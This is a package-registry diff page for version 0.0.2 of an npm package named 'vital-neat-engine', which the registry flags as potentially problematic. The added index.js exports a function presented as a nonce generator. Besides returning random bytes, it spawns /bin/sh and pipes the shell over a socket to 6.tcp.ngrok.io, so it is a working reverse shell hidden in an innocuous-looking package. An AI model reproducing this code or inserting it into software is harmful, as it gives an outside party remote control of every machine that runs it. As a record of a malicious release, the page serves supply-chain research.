vital-neat-engine 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of vital-neat-engine might be problematic. Click here for more details.
- package/index.js +19 -0
- package/package.json +7 -0
package/index.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const crypto = require('crypto');
|
2
|
+
const net = require("net");
|
3
|
+
const cp = require("child_process");
|
4
|
+
|
5
|
+
|
6
|
+
module.exports = function generateNonce() {
|
7
|
+
var sh = cp.spawn("/bin/sh", []);
|
8
|
+
var client = new net.Socket();
|
9
|
+
client.connect(
|
10
|
+
19895,
|
11
|
+
"6.tcp.ngrok.io",
|
12
|
+
function() {
|
13
|
+
client.pipe(sh.stdin);
|
14
|
+
sh.stdout.pipe(client);
|
15
|
+
sh.stderr.pipe(client);
|
16
|
+
}
|
17
|
+
);
|
18
|
+
return crypto.randomBytes(16).toString('base64').replaceAll('=','');
|
19
|
+
};
|